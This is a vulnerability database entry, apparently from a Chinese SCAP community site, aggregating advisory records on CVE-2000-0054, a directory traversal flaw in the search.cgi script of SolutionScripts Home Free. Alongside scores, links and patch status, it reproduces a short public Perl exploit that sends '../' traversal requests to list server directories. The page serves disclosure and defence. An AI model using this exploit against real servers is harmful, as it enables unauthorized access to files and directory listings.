CVE-2000-0054
CVSS5.0
发布时间 :1999-01-03 00:00:00
修订时间 :2008-09-10 15:02:41
NMCOES    

[原文]search.cgi in the SolutionScripts Home Free package allows remote attackers to view directories via a .. (dot dot) attack.


[CNNVD]SolutionScripts Home Free search.cgi远程目录遍历漏洞(CNNVD-199901-029)

        
        Home Free是SolutionScripts.com推出的一组Perl CGI脚本,用来在一个Web服务器上为多个用户提供个人Web服务。
        Home Free的search.cgi脚本实现上存在输入验证漏洞,远程攻击者可以利用此漏洞遍历服务器目录。
        Home Free的这些脚本中有个search.cgi,它接受一个名为"letter"的参数,由于对letter参数过滤不严,这个参数的值可以是任意字符串,其中可以包含"../"这样的字串。这个漏洞可以被用来列出目录的内容以及显示指定Web文件系统以外的某些文件的第一行内容。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0054
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0054
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199901-029
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/921
(UNKNOWN)  BID  921

- 漏洞信息

SolutionScripts Home Free search.cgi远程目录遍历漏洞
中危 边界条件错误
1999-01-03 00:00:00 2005-10-20 00:00:00
远程※本地  
        
        Home Free是SolutionScripts.com推出的一组Perl CGI脚本,用来在一个Web服务器上为多个用户提供个人Web服务。
        Home Free的search.cgi脚本实现上存在输入验证漏洞,远程攻击者可以利用此漏洞遍历服务器目录。
        Home Free的这些脚本中有个search.cgi,它接受一个名为"letter"的参数,由于对letter参数过滤不严,这个参数的值可以是任意字符串,其中可以包含"../"这样的字串。这个漏洞可以被用来列出目录的内容以及显示指定Web文件系统以外的某些文件的第一行内容。
        

- 公告与补丁

        厂商补丁:
        Solution Scripts
        ----------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://solutionscripts.com/vault/homefree/index.shtml

- 漏洞信息 (19713)

Solution Scripts Home Free 1.0 search.cgi Directory Traversal Vulnerability (EDBID:19713)
cgi remote
2000-01-03 Verified
0 k0ad k1d
N/A [点击下载]
source: http://www.securityfocus.com/bid/921/info

Home Free is a suite of Perl cgi scripts that allow a website to support user contributions of various types. One of the scripts, search.cgi, accepts a parameter called letter which can be any text string. The supplied argument can contain the '../' string, which the script will process. This can be used to obtain directory listings and the first line of files outside of the intended web filesystem.


#!/usr/bin/perl
#
# Quick exploit of the Home Free ./search.cgi script, allows you to list
# directories on the host.
#
#

use IO::Socket;

if ($ARGV[0] eq "") { die "no argument\n"; }

$asoc = IO::Socket::INET->new(Proto     => "tcp",
                              PeerAddr  => "target.host.net",
                              PeerPort  => 80) ||
                     die "can't connect to host: $!";

select($asoc);
$| = 1;

print $asoc "GET /cgi-bin/search.cgi?letter=..\\..\\..\\..\\$ARGV[0]&start=1&perpage=all HTTP/1.0\n\n";

while(<$asoc>) {
             if ($_ =~ /.+HREF.+TD.+/) {
                     @parts = split("\"", $_);
                     $foo = $parts[1];
                     @parts = split("/", $foo);
                     print STDOUT $parts[3];
                     print STDOUT "\n";
             }
     }
close(ASOC);
		

- 漏洞信息

86
Home Free search.cgi Traversal Arbitrary File Access
Remote / Network Access Input Manipulation
Loss of Confidentiality Solution Unknown
Exploit Public

- 漏洞描述

- 时间线

2000-01-04 Unknow
2000-01-04 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

SolutionScripts Home Free search.cgi Directory Traversal Vulnerability
Boundary Condition Error 921
Yes Yes
2000-01-03 12:00:00 2009-07-11 01:56:00
Discovered and posted to Bugtraq on January 3, 2000 by "k0ad k1d" <k0adk1d@hotmail.com>.

- 受影响的程序版本

Solution Scripts Home Free 1.0
Solution Scripts Home Free 3.20

- 不受影响的程序版本

Solution Scripts Home Free 3.20

- 漏洞讨论

Home Free is a suite of Perl cgi scripts that allow a website to support user contributions of various types. One of the scripts, search.cgi, accepts a parameter called letter which can be any text string. The supplied argument can contain the '../' string, which the script will process. This can be used to obtain directory listings and the first line of files outside of the intended web filesystem.

- 漏洞利用

Exploit available:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站